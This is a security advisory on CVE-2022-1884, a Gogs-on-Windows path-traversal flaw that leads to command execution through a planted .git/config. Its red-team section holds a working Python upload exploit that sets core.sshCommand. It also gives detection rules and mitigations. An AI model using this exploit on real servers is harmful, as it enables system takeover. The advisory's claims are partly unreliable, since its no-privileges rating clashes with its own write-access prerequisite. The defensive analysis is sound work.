CVE-2022-1884

Executive Summary

CVE-2022-1884 is a critical remote command execution vulnerability affecting Gogs versions <=0.12.7 when deployed on a Windows server. The vulnerability stems from improper validation of the tree_path parameter during file uploads, allowing an attacker to upload a file into the .git directory. By manipulating the .git/config file and setting the core.sshCommand directive, an attacker can achieve remote command execution with the privileges of the Gogs process. The CVSS score of 10.0 reflects the ease of exploitation and the potential for full system compromise.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Gogs application itself, which is a self-hosted Git service written in Go. Organizations using Gogs on Windows should treat this as a critical supply chain risk, as the application is a core component of their development infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the lack of required privileges, low complexity, and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability lies in the file upload functionality of Gogs. When a user uploads a file, the tree_path parameter is used to determine the directory where the file will be stored. The application fails to properly sanitize this parameter, allowing an attacker to set tree_path=.git. (note the trailing dot, which is a Windows-specific path traversal technique). This allows the attacker to write a file into the .git directory of the repository.

The attack proceeds as follows:

1. The attacker creates a repository or gains access to an existing one.
2. The attacker uploads a file with tree_path=.git. and the file content being a modified .git/config file.
3. The modified .git/config file includes a core.sshCommand directive that points to a malicious executable.
4. When Gogs or any Git operation triggers an SSH command (e.g., git push), the malicious command is executed.

The vulnerability is specific to Windows due to the way Windows handles trailing dots in directory names. On Linux, tree_path=.git. would be treated as a file named .git. rather than a directory traversal.

Vulnerable vs. Patched Code

Vulnerable Code (Gogs <=0.12.7): The vulnerable code does not validate the tree_path parameter against path traversal attacks. The parameter is directly used to construct the file path.

// Vulnerable code snippet (conceptual)
func handleFileUpload(repo *Repository, treePath string, fileContent []byte) error {
    // No validation of treePath
    fullPath := filepath.Join(repo.Path, treePath, "filename")
    return ioutil.WriteFile(fullPath, fileContent, 0644)
}

Patched Code (Hypothetical): A patched version would sanitize the tree_path parameter to prevent directory traversal.

// Patched code snippet (conceptual)
func handleFileUpload(repo *Repository, treePath string, fileContent []byte) error {
    // Sanitize treePath to prevent traversal
    sanitizedPath := filepath.Clean(treePath)
    if strings.Contains(sanitizedPath, "..") || strings.HasPrefix(sanitizedPath, ".") {
        return errors.New("invalid tree path")
    }
    fullPath := filepath.Join(repo.Path, sanitizedPath, "filename")
    return ioutil.WriteFile(fullPath, fileContent, 0644)
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Gogs <=0.12.7 running on Windows Server
• A repository where the attacker has write access (or can create one)

Exploit Steps:

1. Create a repository (or use an existing one) and obtain the repository ID.
2. Upload a malicious .git/config file using the tree_path parameter.

import requests

target_url = "http://target-gogs-server:3000"
repo_id = "user/repo"  # Replace with actual repo
session = requests.Session()

# Login (if required)
# session.post(f"{target_url}/user/login", data={"user_name": "attacker", "password": "password"})

# Upload malicious config
files = {
    "file": (".git/config", b"[core]\n\tsshCommand = C:\\Windows\\System32\\cmd.exe /c calc.exe", "text/plain")
}
data = {
    "tree_path": ".git.",
    "commit_summary": "Update config"
}
response = session.post(f"{target_url}/{repo_id}/upload", files=files, data=data)
print(response.status_code)

3. Trigger the SSH command by performing a Git operation that uses SSH (e.g., git push).

Blue Team

Detection:

• Monitor for file uploads with tree_path containing .git. or similar path traversal patterns.
• Monitor for modifications to .git/config files in repositories.
• Monitor for unexpected process execution (e.g., cmd.exe or calc.exe spawned by Git).

Hunting:

• Search logs for tree_path=.git. in HTTP requests.
• Check for unusual entries in .git/config files, especially core.sshCommand.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /user/repo/upload with tree_path=.git.
  • Unusual outbound connections from the Gogs server (e.g., to attacker-controlled hosts)
• File System:
  • Modified .git/config file containing core.sshCommand
  • Presence of unexpected files in the .git directory
• Process:
  • Execution of cmd.exe, powershell.exe, or other shells by the Gogs process
  • Unusual child processes of git.exe

Detection Engineering

YARA Rule

rule CVE_2022_1884_Gogs_Config_Modification {
    meta:
        description = "Detects modified .git/config files with core.sshCommand"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-1884"
    strings:
        $ssh_command = "core.sshCommand" nocase
        $git_config = ".git/config" nocase
    condition:
        $ssh_command and $git_config
}

Sigma Rule

title: CVE-2022-1884 Gogs File Upload Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file uploads with path traversal to .git directory
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: gogs
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'tree_path=.git.'
    condition: selection
falsepositives:
    - Unknown
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-1884 Gogs File Upload Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"tree_path=.git."; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Gogs to a version that patches this vulnerability (if available). As of now, no official patch exists, so consider migrating to a different Git server (e.g., GitLab, Gitea).
2. Disable file upload functionality if not required.
3. Restrict access to the Gogs web interface to trusted IPs only.

Long-term Mitigations:

• Use a Web Application Firewall (WAF) to block requests containing tree_path=.git..
• Monitor logs for suspicious file uploads and modifications to .git/config.
• Implement file integrity monitoring on the .git directory of all repositories.

Workaround:

• If upgrading is not possible, consider running Gogs in a container with a read-only filesystem for the .git directory.

Valters IT